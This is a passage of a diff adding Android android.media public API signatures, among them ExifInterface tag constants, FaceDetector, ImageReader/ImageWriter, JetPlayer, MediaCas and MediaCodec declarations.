+    method @Nullable public String getAttribute(@NonNull String);
+    method @Nullable public byte[] getAttributeBytes(@NonNull String);
+    method public double getAttributeDouble(@NonNull String, double);
+    method public int getAttributeInt(@NonNull String, int);
+    method @Nullable public long[] getAttributeRange(@NonNull String);
+    method public long getDateTime();
+    method public long getDateTimeDigitized();
+    method public long getDateTimeOriginal();
+    method public long getGpsDateTime();
+    method public boolean getLatLong(float[]);
+    method public byte[] getThumbnail();
+    method public android.graphics.Bitmap getThumbnailBitmap();
+    method public byte[] getThumbnailBytes();
+    method @Nullable public long[] getThumbnailRange();
+    method public boolean hasAttribute(@NonNull String);
+    method public boolean hasThumbnail();
+    method public static boolean isSupportedMimeType(@NonNull String);
+    method public boolean isThumbnailCompressed();
+    method public void saveAttributes() throws java.io.IOException;
+    method public void setAttribute(@NonNull String, @Nullable String);
+    field public static final int ORIENTATION_FLIP_HORIZONTAL = 2; // 0x2
+    field public static final int ORIENTATION_FLIP_VERTICAL = 4; // 0x4
+    field public static final int ORIENTATION_NORMAL = 1; // 0x1
+    field public static final int ORIENTATION_ROTATE_180 = 3; // 0x3
+    field public static final int ORIENTATION_ROTATE_270 = 8; // 0x8
+    field public static final int ORIENTATION_ROTATE_90 = 6; // 0x6
+    field public static final int ORIENTATION_TRANSPOSE = 5; // 0x5
+    field public static final int ORIENTATION_TRANSVERSE = 7; // 0x7
+    field public static final int ORIENTATION_UNDEFINED = 0; // 0x0
+    field public static final int STREAM_TYPE_EXIF_DATA_ONLY = 1; // 0x1
+    field public static final int STREAM_TYPE_FULL_IMAGE_DATA = 0; // 0x0
+    field @Deprecated public static final String TAG_APERTURE = "FNumber";
+    field public static final String TAG_APERTURE_VALUE = "ApertureValue";
+    field public static final String TAG_ARTIST = "Artist";
+    field public static final String TAG_BITS_PER_SAMPLE = "BitsPerSample";
+    field public static final String TAG_BRIGHTNESS_VALUE = "BrightnessValue";
+    field public static final String TAG_CFA_PATTERN = "CFAPattern";
+    field public static final String TAG_COLOR_SPACE = "ColorSpace";
+    field public static final String TAG_COMPONENTS_CONFIGURATION = "ComponentsConfiguration";
+    field public static final String TAG_COMPRESSED_BITS_PER_PIXEL = "CompressedBitsPerPixel";
+    field public static final String TAG_COMPRESSION = "Compression";
+    field public static final String TAG_CONTRAST = "Contrast";
+    field public static final String TAG_COPYRIGHT = "Copyright";
+    field public static final String TAG_CUSTOM_RENDERED = "CustomRendered";
+    field public static final String TAG_DATETIME = "DateTime";
+    field public static final String TAG_DATETIME_DIGITIZED = "DateTimeDigitized";
+    field public static final String TAG_DATETIME_ORIGINAL = "DateTimeOriginal";
+    field public static final String TAG_DEFAULT_CROP_SIZE = "DefaultCropSize";
+    field public static final String TAG_DEVICE_SETTING_DESCRIPTION = "DeviceSettingDescription";
+    field public static final String TAG_DIGITAL_ZOOM_RATIO = "DigitalZoomRatio";
+    field public static final String TAG_DNG_VERSION = "DNGVersion";
+    field public static final String TAG_EXIF_VERSION = "ExifVersion";
+    field public static final String TAG_EXPOSURE_BIAS_VALUE = "ExposureBiasValue";
+    field public static final String TAG_EXPOSURE_INDEX = "ExposureIndex";
+    field public static final String TAG_EXPOSURE_MODE = "ExposureMode";
+    field public static final String TAG_EXPOSURE_PROGRAM = "ExposureProgram";
+    field public static final String TAG_EXPOSURE_TIME = "ExposureTime";
+    field public static final String TAG_FILE_SOURCE = "FileSource";
+    field public static final String TAG_FLASH = "Flash";
+    field public static final String TAG_FLASHPIX_VERSION = "FlashpixVersion";
+    field public static final String TAG_FLASH_ENERGY = "FlashEnergy";
+    field public static final String TAG_FOCAL_LENGTH = "FocalLength";
+    field public static final String TAG_FOCAL_LENGTH_IN_35MM_FILM = "FocalLengthIn35mmFilm";
+    field public static final String TAG_FOCAL_PLANE_RESOLUTION_UNIT = "FocalPlaneResolutionUnit";
+    field public static final String TAG_FOCAL_PLANE_X_RESOLUTION = "FocalPlaneXResolution";
+    field public static final String TAG_FOCAL_PLANE_Y_RESOLUTION = "FocalPlaneYResolution";
+    field public static final String TAG_F_NUMBER = "FNumber";
+    field public static final String TAG_GAIN_CONTROL = "GainControl";
+    field public static final String TAG_GPS_ALTITUDE = "GPSAltitude";
+    field public static final String TAG_GPS_ALTITUDE_REF = "GPSAltitudeRef";
+    field public static final String TAG_GPS_AREA_INFORMATION = "GPSAreaInformation";
+    field public static final String TAG_GPS_DATESTAMP = "GPSDateStamp";
+    field public static final String TAG_GPS_DEST_BEARING = "GPSDestBearing";
+    field public static final String TAG_GPS_DEST_BEARING_REF = "GPSDestBearingRef";
+    field public static final String TAG_GPS_DEST_DISTANCE = "GPSDestDistance";
+    field public static final String TAG_GPS_DEST_DISTANCE_REF = "GPSDestDistanceRef";
+    field public static final String TAG_GPS_DEST_LATITUDE = "GPSDestLatitude";
+    field public static final String TAG_GPS_DEST_LATITUDE_REF = "GPSDestLatitudeRef";
+    field public static final String TAG_GPS_DEST_LONGITUDE = "GPSDestLongitude";
+    field public static final String TAG_GPS_DEST_LONGITUDE_REF = "GPSDestLongitudeRef";
+    field public static final String TAG_GPS_DIFFERENTIAL = "GPSDifferential";
+    field public static final String TAG_GPS_DOP = "GPSDOP";
+    field public static final String TAG_GPS_IMG_DIRECTION = "GPSImgDirection";
+    field public static final String TAG_GPS_IMG_DIRECTION_REF = "GPSImgDirectionRef";
+    field public static final String TAG_GPS_LATITUDE = "GPSLatitude";
+    field public static final String TAG_GPS_LATITUDE_REF = "GPSLatitudeRef";
+    field public static final String TAG_GPS_LONGITUDE = "GPSLongitude";
+    field public static final String TAG_GPS_LONGITUDE_REF = "GPSLongitudeRef";
+    field public static final String TAG_GPS_MAP_DATUM = "GPSMapDatum";
+    field public static final String TAG_GPS_MEASURE_MODE = "GPSMeasureMode";
+    field public static final String TAG_GPS_PROCESSING_METHOD = "GPSProcessingMethod";
+    field public static final String TAG_GPS_SATELLITES = "GPSSatellites";
+    field public static final String TAG_GPS_SPEED = "GPSSpeed";
+    field public static final String TAG_GPS_SPEED_REF = "GPSSpeedRef";
+    field public static final String TAG_GPS_STATUS = "GPSStatus";
+    field public static final String TAG_GPS_TIMESTAMP = "GPSTimeStamp";
+    field public static final String TAG_GPS_TRACK = "GPSTrack";
+    field public static final String TAG_GPS_TRACK_REF = "GPSTrackRef";
+    field public static final String TAG_GPS_VERSION_ID = "GPSVersionID";
+    field public static final String TAG_IMAGE_DESCRIPTION = "ImageDescription";
+    field public static final String TAG_IMAGE_LENGTH = "ImageLength";
+    field public static final String TAG_IMAGE_UNIQUE_ID = "ImageUniqueID";
+    field public static final String TAG_IMAGE_WIDTH = "ImageWidth";
+    field public static final String TAG_INTEROPERABILITY_INDEX = "InteroperabilityIndex";
+    field @Deprecated public static final String TAG_ISO = "ISOSpeedRatings";
+    field public static final String TAG_ISO_SPEED_RATINGS = "ISOSpeedRatings";
+    field public static final String TAG_JPEG_INTERCHANGE_FORMAT = "JPEGInterchangeFormat";
+    field public static final String TAG_JPEG_INTERCHANGE_FORMAT_LENGTH = "JPEGInterchangeFormatLength";
+    field public static final String TAG_LIGHT_SOURCE = "LightSource";
+    field public static final String TAG_MAKE = "Make";
+    field public static final String TAG_MAKER_NOTE = "MakerNote";
+    field public static final String TAG_MAX_APERTURE_VALUE = "MaxApertureValue";
+    field public static final String TAG_METERING_MODE = "MeteringMode";
+    field public static final String TAG_MODEL = "Model";
+    field public static final String TAG_NEW_SUBFILE_TYPE = "NewSubfileType";
+    field public static final String TAG_OECF = "OECF";
+    field public static final String TAG_OFFSET_TIME = "OffsetTime";
+    field public static final String TAG_OFFSET_TIME_DIGITIZED = "OffsetTimeDigitized";
+    field public static final String TAG_OFFSET_TIME_ORIGINAL = "OffsetTimeOriginal";
+    field public static final String TAG_ORF_ASPECT_FRAME = "AspectFrame";
+    field public static final String TAG_ORF_PREVIEW_IMAGE_LENGTH = "PreviewImageLength";
+    field public static final String TAG_ORF_PREVIEW_IMAGE_START = "PreviewImageStart";
+    field public static final String TAG_ORF_THUMBNAIL_IMAGE = "ThumbnailImage";
+    field public static final String TAG_ORIENTATION = "Orientation";
+    field public static final String TAG_PHOTOMETRIC_INTERPRETATION = "PhotometricInterpretation";
+    field public static final String TAG_PIXEL_X_DIMENSION = "PixelXDimension";
+    field public static final String TAG_PIXEL_Y_DIMENSION = "PixelYDimension";
+    field public static final String TAG_PLANAR_CONFIGURATION = "PlanarConfiguration";
+    field public static final String TAG_PRIMARY_CHROMATICITIES = "PrimaryChromaticities";
+    field public static final String TAG_REFERENCE_BLACK_WHITE = "ReferenceBlackWhite";
+    field public static final String TAG_RELATED_SOUND_FILE = "RelatedSoundFile";
+    field public static final String TAG_RESOLUTION_UNIT = "ResolutionUnit";
+    field public static final String TAG_ROWS_PER_STRIP = "RowsPerStrip";
+    field public static final String TAG_RW2_ISO = "ISO";
+    field public static final String TAG_RW2_JPG_FROM_RAW = "JpgFromRaw";
+    field public static final String TAG_RW2_SENSOR_BOTTOM_BORDER = "SensorBottomBorder";
+    field public static final String TAG_RW2_SENSOR_LEFT_BORDER = "SensorLeftBorder";
+    field public static final String TAG_RW2_SENSOR_RIGHT_BORDER = "SensorRightBorder";
+    field public static final String TAG_RW2_SENSOR_TOP_BORDER = "SensorTopBorder";
+    field public static final String TAG_SAMPLES_PER_PIXEL = "SamplesPerPixel";
+    field public static final String TAG_SATURATION = "Saturation";
+    field public static final String TAG_SCENE_CAPTURE_TYPE = "SceneCaptureType";
+    field public static final String TAG_SCENE_TYPE = "SceneType";
+    field public static final String TAG_SENSING_METHOD = "SensingMethod";
+    field public static final String TAG_SHARPNESS = "Sharpness";
+    field public static final String TAG_SHUTTER_SPEED_VALUE = "ShutterSpeedValue";
+    field public static final String TAG_SOFTWARE = "Software";
+    field public static final String TAG_SPATIAL_FREQUENCY_RESPONSE = "SpatialFrequencyResponse";
+    field public static final String TAG_SPECTRAL_SENSITIVITY = "SpectralSensitivity";
+    field public static final String TAG_STRIP_BYTE_COUNTS = "StripByteCounts";
+    field public static final String TAG_STRIP_OFFSETS = "StripOffsets";
+    field public static final String TAG_SUBFILE_TYPE = "SubfileType";
+    field public static final String TAG_SUBJECT_AREA = "SubjectArea";
+    field public static final String TAG_SUBJECT_DISTANCE = "SubjectDistance";
+    field public static final String TAG_SUBJECT_DISTANCE_RANGE = "SubjectDistanceRange";
+    field public static final String TAG_SUBJECT_LOCATION = "SubjectLocation";
+    field public static final String TAG_SUBSEC_TIME = "SubSecTime";
+    field @Deprecated public static final String TAG_SUBSEC_TIME_DIG = "SubSecTimeDigitized";
+    field public static final String TAG_SUBSEC_TIME_DIGITIZED = "SubSecTimeDigitized";
+    field @Deprecated public static final String TAG_SUBSEC_TIME_ORIG = "SubSecTimeOriginal";
+    field public static final String TAG_SUBSEC_TIME_ORIGINAL = "SubSecTimeOriginal";
+    field public static final String TAG_THUMBNAIL_IMAGE_LENGTH = "ThumbnailImageLength";
+    field public static final String TAG_THUMBNAIL_IMAGE_WIDTH = "ThumbnailImageWidth";
+    field public static final String TAG_THUMBNAIL_ORIENTATION = "ThumbnailOrientation";
+    field public static final String TAG_TRANSFER_FUNCTION = "TransferFunction";
+    field public static final String TAG_USER_COMMENT = "UserComment";
+    field public static final String TAG_WHITE_BALANCE = "WhiteBalance";
+    field public static final String TAG_WHITE_POINT = "WhitePoint";
+    field public static final String TAG_XMP = "Xmp";
+    field public static final String TAG_X_RESOLUTION = "XResolution";
+    field public static final String TAG_Y_CB_CR_COEFFICIENTS = "YCbCrCoefficients";
+    field public static final String TAG_Y_CB_CR_POSITIONING = "YCbCrPositioning";
+    field public static final String TAG_Y_CB_CR_SUB_SAMPLING = "YCbCrSubSampling";
+    field public static final String TAG_Y_RESOLUTION = "YResolution";
+    field public static final int WHITEBALANCE_AUTO = 0; // 0x0
+    field public static final int WHITEBALANCE_MANUAL = 1; // 0x1
+  }
+
+  public class FaceDetector {
+    ctor public FaceDetector(int, int, int);
+    method public int findFaces(android.graphics.Bitmap, android.media.FaceDetector.Face[]);
+  }
+
+  public class FaceDetector.Face {
+    method public float confidence();
+    method public float eyesDistance();
+    method public void getMidPoint(android.graphics.PointF);
+    method public float pose(int);
+    field public static final float CONFIDENCE_THRESHOLD = 0.4f;
+    field public static final int EULER_X = 0; // 0x0
+    field public static final int EULER_Y = 1; // 0x1
+    field public static final int EULER_Z = 2; // 0x2
+  }
+
+  public abstract class Image implements java.lang.AutoCloseable {
+    method public abstract void close();
+    method public android.graphics.Rect getCropRect();
+    method public abstract int getFormat();
+    method @Nullable public android.hardware.HardwareBuffer getHardwareBuffer();
+    method public abstract int getHeight();
+    method public abstract android.media.Image.Plane[] getPlanes();
+    method public abstract long getTimestamp();
+    method public abstract int getWidth();
+    method public void setCropRect(android.graphics.Rect);
+    method public void setTimestamp(long);
+  }
+
+  public abstract static class Image.Plane {
+    method public abstract java.nio.ByteBuffer getBuffer();
+    method public abstract int getPixelStride();
+    method public abstract int getRowStride();
+  }
+
+  public class ImageReader implements java.lang.AutoCloseable {
+    method public android.media.Image acquireLatestImage();
+    method public android.media.Image acquireNextImage();
+    method public void close();
+    method public void discardFreeBuffers();
+    method public int getHeight();
+    method public int getImageFormat();
+    method public int getMaxImages();
+    method public android.view.Surface getSurface();
+    method public int getWidth();
+    method @NonNull public static android.media.ImageReader newInstance(@IntRange(from=1) int, @IntRange(from=1) int, int, @IntRange(from=1) int);
+    method @NonNull public static android.media.ImageReader newInstance(@IntRange(from=1) int, @IntRange(from=1) int, int, @IntRange(from=1) int, long);
+    method public void setOnImageAvailableListener(android.media.ImageReader.OnImageAvailableListener, android.os.Handler);
+  }
+
+  public static interface ImageReader.OnImageAvailableListener {
+    method public void onImageAvailable(android.media.ImageReader);
+  }
+
+  public class ImageWriter implements java.lang.AutoCloseable {
+    method public void close();
+    method public android.media.Image dequeueInputImage();
+    method public int getFormat();
+    method public int getMaxImages();
+    method @NonNull public static android.media.ImageWriter newInstance(@NonNull android.view.Surface, @IntRange(from=1) int);
+    method @NonNull public static android.media.ImageWriter newInstance(@NonNull android.view.Surface, @IntRange(from=1) int, int);
+    method public void queueInputImage(android.media.Image);
+    method public void setOnImageReleasedListener(android.media.ImageWriter.OnImageReleasedListener, android.os.Handler);
+  }
+
+  public static interface ImageWriter.OnImageReleasedListener {
+    method public void onImageReleased(android.media.ImageWriter);
+  }
+
+  public class JetPlayer {
+    method public boolean clearQueue();
+    method public Object clone() throws java.lang.CloneNotSupportedException;
+    method public boolean closeJetFile();
+    method protected void finalize();
+    method public static android.media.JetPlayer getJetPlayer();
+    method public static int getMaxTracks();
+    method public boolean loadJetFile(String);
+    method public boolean loadJetFile(android.content.res.AssetFileDescriptor);
+    method public boolean pause();
+    method public boolean play();
+    method public boolean queueJetSegment(int, int, int, int, int, byte);
+    method public boolean queueJetSegmentMuteArray(int, int, int, int, boolean[], byte);
+    method public void release();
+    method public void setEventListener(android.media.JetPlayer.OnJetEventListener);
+    method public void setEventListener(android.media.JetPlayer.OnJetEventListener, android.os.Handler);
+    method public boolean setMuteArray(boolean[], boolean);
+    method public boolean setMuteFlag(int, boolean, boolean);
+    method public boolean setMuteFlags(int, boolean);
+    method public boolean triggerClip(int);
+  }
+
+  public static interface JetPlayer.OnJetEventListener {
+    method public void onJetEvent(android.media.JetPlayer, short, byte, byte, byte, byte);
+    method public void onJetNumQueuedSegmentUpdate(android.media.JetPlayer, int);
+    method public void onJetPauseUpdate(android.media.JetPlayer, int);
+    method public void onJetUserIdUpdate(android.media.JetPlayer, int, int);
+  }
+
+  public class MediaActionSound {
+    ctor public MediaActionSound();
+    method public void load(int);
+    method public void play(int);
+    method public void release();
+    field public static final int FOCUS_COMPLETE = 1; // 0x1
+    field public static final int SHUTTER_CLICK = 0; // 0x0
+    field public static final int START_VIDEO_RECORDING = 2; // 0x2
+    field public static final int STOP_VIDEO_RECORDING = 3; // 0x3
+  }
+
+  public final class MediaCas implements java.lang.AutoCloseable {
+    ctor public MediaCas(int) throws android.media.MediaCasException.UnsupportedCasException;
+    ctor public MediaCas(@NonNull android.content.Context, int, @Nullable String, int) throws android.media.MediaCasException.UnsupportedCasException;
+    ctor public MediaCas(@NonNull android.content.Context, int, @Nullable String, int, @Nullable android.os.Handler, @Nullable android.media.MediaCas.EventListener) throws android.media.MediaCasException.UnsupportedCasException;
+    method public void close();
+    method public static android.media.MediaCas.PluginDescriptor[] enumeratePlugins();
+    method protected void finalize();
+    method public static boolean isSystemIdSupported(int);
+    method public android.media.MediaCas.Session openSession() throws android.media.MediaCasException;
+    method @Nullable public android.media.MediaCas.Session openSession(int, int) throws android.media.MediaCasException;
+    method public void processEmm(@NonNull byte[], int, int) throws android.media.MediaCasException;
+    method public void processEmm(@NonNull byte[]) throws android.media.MediaCasException;
+    method public void provision(@NonNull String) throws android.media.MediaCasException;
+    method public void refreshEntitlements(int, @Nullable byte[]) throws android.media.MediaCasException;
+    method public void sendEvent(int, int, @Nullable byte[]) throws android.media.MediaCasException;
+    method public void setEventListener(@Nullable android.media.MediaCas.EventListener, @Nullable android.os.Handler);
+    method public void setPrivateData(@NonNull byte[]) throws android.media.MediaCasException;
+    field public static final int PLUGIN_STATUS_PHYSICAL_MODULE_CHANGED = 0; // 0x0
+    field public static final int PLUGIN_STATUS_SESSION_NUMBER_CHANGED = 1; // 0x1
+    field public static final int SCRAMBLING_MODE_AES128 = 9; // 0x9
+    field public static final int SCRAMBLING_MODE_AES_ECB = 10; // 0xa
+    field public static final int SCRAMBLING_MODE_AES_SCTE52 = 11; // 0xb
+    field public static final int SCRAMBLING_MODE_DVB_CISSA_V1 = 6; // 0x6
+    field public static final int SCRAMBLING_MODE_DVB_CSA1 = 1; // 0x1
+    field public static final int SCRAMBLING_MODE_DVB_CSA2 = 2; // 0x2
+    field public static final int SCRAMBLING_MODE_DVB_CSA3_ENHANCE = 5; // 0x5
+    field public static final int SCRAMBLING_MODE_DVB_CSA3_MINIMAL = 4; // 0x4
+    field public static final int SCRAMBLING_MODE_DVB_CSA3_STANDARD = 3; // 0x3
+    field public static final int SCRAMBLING_MODE_DVB_IDSA = 7; // 0x7
+    field public static final int SCRAMBLING_MODE_MULTI2 = 8; // 0x8
+    field public static final int SCRAMBLING_MODE_RESERVED = 0; // 0x0
+    field public static final int SCRAMBLING_MODE_TDES_ECB = 12; // 0xc
+    field public static final int SCRAMBLING_MODE_TDES_SCTE52 = 13; // 0xd
+    field public static final int SESSION_USAGE_LIVE = 0; // 0x0
+    field public static final int SESSION_USAGE_PLAYBACK = 1; // 0x1
+    field public static final int SESSION_USAGE_RECORD = 2; // 0x2
+    field public static final int SESSION_USAGE_TIMESHIFT = 3; // 0x3
+  }
+
+  public static interface MediaCas.EventListener {
+    method public void onEvent(@NonNull android.media.MediaCas, int, int, @Nullable byte[]);
+    method public default void onPluginStatusUpdate(@NonNull android.media.MediaCas, int, int);
+    method public default void onResourceLost(@NonNull android.media.MediaCas);
+    method public default void onSessionEvent(@NonNull android.media.MediaCas, @NonNull android.media.MediaCas.Session, int, int, @Nullable byte[]);
+  }
+
+  public static class MediaCas.PluginDescriptor {
+    method @NonNull public String getName();
+    method public int getSystemId();
+  }
+
+  public final class MediaCas.Session implements java.lang.AutoCloseable {
+    method public void close();
+    method @NonNull public byte[] getSessionId();
+    method public void processEcm(@NonNull byte[], int, int) throws android.media.MediaCasException;
+    method public void processEcm(@NonNull byte[]) throws android.media.MediaCasException;
+    method public void sendSessionEvent(int, int, @Nullable byte[]) throws android.media.MediaCasException;
+    method public void setPrivateData(@NonNull byte[]) throws android.media.MediaCasException;
+  }
+
+  public class MediaCasException extends java.lang.Exception {
+  }
+
+  public static final class MediaCasException.DeniedByServerException extends android.media.MediaCasException {
+  }
+
+  public static final class MediaCasException.InsufficientResourceException extends android.media.MediaCasException {
+  }
+
+  public static final class MediaCasException.NotProvisionedException extends android.media.MediaCasException {
+  }
+
+  public static final class MediaCasException.ResourceBusyException extends android.media.MediaCasException {
+  }
+
+  public static final class MediaCasException.UnsupportedCasException extends android.media.MediaCasException {
+  }
+
+  public class MediaCasStateException extends java.lang.IllegalStateException {
+    method @NonNull public String getDiagnosticInfo();
+  }
+
+  public final class MediaCodec {
+    method public void configure(@Nullable android.media.MediaFormat, @Nullable android.view.Surface, @Nullable android.media.MediaCrypto, int);
+    method public void configure(@Nullable android.media.MediaFormat, @Nullable android.view.Surface, int, @Nullable android.media.MediaDescrambler);
+    method @NonNull public static android.media.MediaCodec createByCodecName(@NonNull String) throws java.io.IOException;
+    method @NonNull public static android.media.MediaCodec createDecoderByType(@NonNull String) throws java.io.IOException;
+    method @NonNull public static android.media.MediaCodec createEncoderByType(@NonNull String) throws java.io.IOException;
+    method @NonNull public android.view.Surface createInputSurface();
+    method @NonNull public static android.view.Surface createPersistentInputSurface();
+    method public int dequeueInputBuffer(long);
+    method public int dequeueOutputBuffer(@NonNull android.media.MediaCodec.BufferInfo, long);
+    method protected void finalize();
+    method public void flush();
+    method @NonNull public String getCanonicalName();
+    method @NonNull public android.media.MediaCodecInfo getCodecInfo();
+    method @Nullable public java.nio.ByteBuffer getInputBuffer(int);
+    method @Deprecated @NonNull public java.nio.ByteBuffer[] getInputBuffers();
+    method @NonNull public android.media.MediaFormat getInputFormat();
+    method @Nullable public android.media.Image getInputImage(int);
+    method public android.os.PersistableBundle getMetrics();
+    method @NonNull public String getName();
+    method @Nullable public java.nio.ByteBuffer getOutputBuffer(int);
+    method @Deprecated @NonNull public java.nio.ByteBuffer[] getOutputBuffers();
+    method @NonNull public android.media.MediaFormat getOutputFormat();
+    method @NonNull public android.media.MediaFormat getOutputFormat(int);
+    method @NonNull public android.media.MediaCodec.OutputFrame getOutputFrame(int);
+    method @Nullable public android.media.Image getOutputImage(int);
+    method @Nullable public android.media.MediaCodec.ParameterDescriptor getParameterDescriptor(@NonNull String);
+    method @NonNull public android.media.MediaCodec.QueueRequest getQueueRequest(int);
+    method @NonNull public java.util.List<java.lang.String> getSupportedVendorParameters();
+    method @Nullable public static android.media.Image mapHardwareBuffer(@NonNull android.hardware.HardwareBuffer);
+    method public void queueInputBuffer(int, int, int, long, int) throws android.media.MediaCodec.CryptoException;
+    method public void queueSecureInputBuffer(int, int, @NonNull android.media.MediaCodec.CryptoInfo, long, int) throws android.media.MediaCodec.CryptoException;
+    method public void release();
+    method public void releaseOutputBuffer(int, boolean);
+    method public void releaseOutputBuffer(int, long);
+    method public void reset();
+    method public void setAudioPresentation(@NonNull android.media.AudioPresentation);
+    method public void setCallback(@Nullable android.media.MediaCodec.Callback, @Nullable android.os.Handler);
+    method public void setCallback(@Nullable android.media.MediaCodec.Callback);
+    method public void setInputSurface(@NonNull android.view.Surface);
+    method public void setOnFirstTunnelFrameReadyListener(@Nullable android.os.Handler, @Nullable android.media.MediaCodec.OnFirstTunnelFrameReadyListener);
+    method public void setOnFrameRenderedListener(@Nullable android.media.MediaCodec.OnFrameRenderedListener, @Nullable android.os.Handler);
+    method public void setOutputSurface(@NonNull android.view.Surface);
+    method public void setParameters(@Nullable android.os.Bundle);
+    method public void setVideoScalingMode(int);
+    method public void signalEndOfInputStream();
+    method public void start();
+    method public void stop();
+    method public void subscribeToVendorParameters(@NonNull java.util.List<java.lang.String>);
+    method public void unsubscribeFromVendorParameters(@NonNull java.util.List<java.lang.String>);
+    field public static final int BUFFER_FLAG_CODEC_CONFIG = 2; // 0x2
+    field public static final int BUFFER_FLAG_END_OF_STREAM = 4; // 0x4
+    field public static final int BUFFER_FLAG_KEY_FRAME = 1; // 0x1
+    field public static final int BUFFER_FLAG_PARTIAL_FRAME = 8; // 0x8
+    field @Deprecated public static final int BUFFER_FLAG_SYNC_FRAME = 1; // 0x1
+    field public static final int CONFIGURE_FLAG_ENCODE = 1; // 0x1
+    field public static final int CONFIGURE_FLAG_USE_BLOCK_MODEL = 2; // 0x2
+    field public static final int CRYPTO_MODE_AES_CBC = 2; // 0x2
+    field public static final int CRYPTO_MODE_AES_CTR = 1; // 0x1
+    field public static final int CRYPTO_MODE_UNENCRYPTED = 0; // 0x0
+    field @Deprecated public static final int INFO_OUTPUT_BUFFERS_CHANGED = -3; // 0xfffffffd
+    field public static final int INFO_OUTPUT_FORMAT_CHANGED = -2; // 0xfffffffe
+    field public static final int INFO_TRY_AGAIN_LATER = -1; // 0xffffffff
+    field public static final String PARAMETER_KEY_HDR10_PLUS_INFO = "hdr10-plus-info";
+    field public static final String PARAMETER_KEY_LOW_LATENCY = "low-latency";
+    field public static final String PARAMETER_KEY_OFFSET_TIME = "time-offset-us";
+    field public static final String PARAMETER_KEY_REQUEST_SYNC_FRAME = "request-sync";
+    field public static final String PARAMETER_KEY_SUSPEND = "drop-input-frames";
+    field public static final String PARAMETER_KEY_SUSPEND_TIME = "drop-start-time-us";
+    field public static final String PARAMETER_KEY_TUNNEL_PEEK = "tunnel-peek";
+    field public static final String PARAMETER_KEY_VIDEO_BITRATE = "video-bitrate";
+    field public static final int VIDEO_SCALING_MODE_SCALE_TO_FIT = 1; // 0x1
+    field public static final int VIDEO_SCALING_MODE_SCALE_TO_FIT_WITH_CROPPING = 2; // 0x2
+  }
+
+  public static final class MediaCodec.BufferInfo {
+    ctor public MediaCodec.BufferInfo();
+    method public void set(int, int, long, int);
+    field public int flags;
+    field public int offset;
+    field public long presentationTimeUs;
+    field public int size;
+  }
+
+  public abstract static class MediaCodec.Callback {
+    ctor public MediaCodec.Callback();
+    method public abstract void onError(@NonNull android.media.MediaCodec, @NonNull android.media.MediaCodec.CodecException);
+    method public abstract void onInputBufferAvailable(@NonNull android.media.MediaCodec, int);
+    method public abstract void onOutputBufferAvailable(@NonNull android.media.MediaCodec, int, @NonNull android.media.MediaCodec.BufferInfo);
+    method public abstract void onOutputFormatChanged(@NonNull android.media.MediaCodec, @NonNull android.media.MediaFormat);
+  }
+
+  public static final class MediaCodec.CodecException extends java.lang.IllegalStateException {
+    method @NonNull public String getDiagnosticInfo();
+    method public int getErrorCode();
+    method public boolean isRecoverable();
+    method public boolean isTransient();
+    field public static final int ERROR_INSUFFICIENT_RESOURCE = 1100; // 0x44c
+    field public static final int ERROR_RECLAIMED = 1101; // 0x44d
+  }
+
+  public static final class MediaCodec.CryptoException extends java.lang.RuntimeException {
+    ctor public MediaCodec.CryptoException(int, @Nullable String);
+    method public int getErrorCode();
+    field @Deprecated public static final int ERROR_FRAME_TOO_LARGE = 8; // 0x8
+    field @Deprecated public static final int ERROR_INSUFFICIENT_OUTPUT_PROTECTION = 4; // 0x4
+    field @Deprecated public static final int ERROR_INSUFFICIENT_SECURITY = 7; // 0x7
+    field @Deprecated public static final int ERROR_KEY_EXPIRED = 2; // 0x2
+    field @Deprecated public static final int ERROR_LOST_STATE = 9; // 0x9
+    field @Deprecated public static final int ERROR_NO_KEY = 1; // 0x1
+    field @Deprecated public static final int ERROR_RESOURCE_BUSY = 3; // 0x3
+    field @Deprecated public static final int ERROR_SESSION_NOT_OPENED = 5; // 0x5
+    field @Deprecated public static final int ERROR_UNSUPPORTED_OPERATION = 6; // 0x6
+  }
+
+  public static final class MediaCodec.CryptoInfo {
+    ctor public MediaCodec.CryptoInfo();
+    method @NonNull public android.media.MediaCodec.CryptoInfo.Pattern getPattern();
+    method public void set(int, @NonNull int[], @NonNull int[], @NonNull byte[], @NonNull byte[], int);
+    method public void setPattern(android.media.MediaCodec.CryptoInfo.Pattern);
+    field public byte[] iv;
+    field public byte[] key;
+    field public int mode;
+    field public int[] numBytesOfClearData;
+    field public int[] numBytesOfEncryptedData;
+    field public int numSubSamples;
+  }
+
+  public static final class MediaCodec.CryptoInfo.Pattern {
+    ctor public MediaCodec.CryptoInfo.Pattern(int, int);
+    method public int getEncryptBlocks();
+    method public int getSkipBlocks();
+    method public void set(int, int);
+  }
+
+  public class MediaCodec.IncompatibleWithBlockModelException extends java.lang.RuntimeException {
+  }
+
+  public static final class MediaCodec.LinearBlock {
+    method protected void finalize();
+    method public static boolean isCodecCopyFreeCompatible(@NonNull String[]);
+    method public boolean isMappable();
+    method @NonNull public java.nio.ByteBuffer map();
+    method @Nullable public static android.media.MediaCodec.LinearBlock obtain(int, @NonNull String[]);
+    method public void recycle();
+  }
+
+  public static final class MediaCodec.MetricsConstants {
+    field public static final String CODEC = "android.media.mediacodec.codec";
+    field public static final String ENCODER = "android.media.mediacodec.encoder";
+    field public static final String HEIGHT = "android.media.mediacodec.height";
+    field public static final String MIME_TYPE = "android.media.mediacodec.mime";
+    field public static final String MODE = "android.media.mediacodec.mode";
+    field public static final String MODE_AUDIO = "audio";
+    field public static final String MODE_VIDEO = "video";
+    field public static final String ROTATION = "android.media.mediacodec.rotation";
+    field public static final String SECURE = "android.media.mediacodec.secure";
+    field public static final String WIDTH = "android.media.mediacodec.width";
+  }
+
+  public static interface MediaCodec.OnFirstTunnelFrameReadyListener {
+    method public void onFirstTunnelFrameReady(@NonNull android.media.MediaCodec);
+  }
+
+  public static interface MediaCodec.OnFrameRenderedListener {
+    method public void onFrameRendered(@NonNull android.media.MediaCodec, long, long);
+  }
+
+  public static final class MediaCodec.OutputFrame {
+    method @NonNull public java.util.Set<java.lang.String> getChangedKeys();
+    method public int getFlags();
+    method @NonNull public android.media.MediaFormat getFormat();
+    method @Nullable public android.hardware.HardwareBuffer getHardwareBuffer();
+    method @Nullable public android.media.MediaCodec.LinearBlock getLinearBlock();
+    method public long getPresentationTimeUs();
+  }
+
+  public static class MediaCodec.ParameterDescriptor {
+    method @NonNull public String getName();
+    method public int getType();
+  }
+
+  public final class MediaCodec.QueueRequest {
+    method public void queue();
+    method @NonNull public android.media.MediaCodec.QueueRequest setByteBufferParameter(@NonNull String, @NonNull java.nio.ByteBuffer);
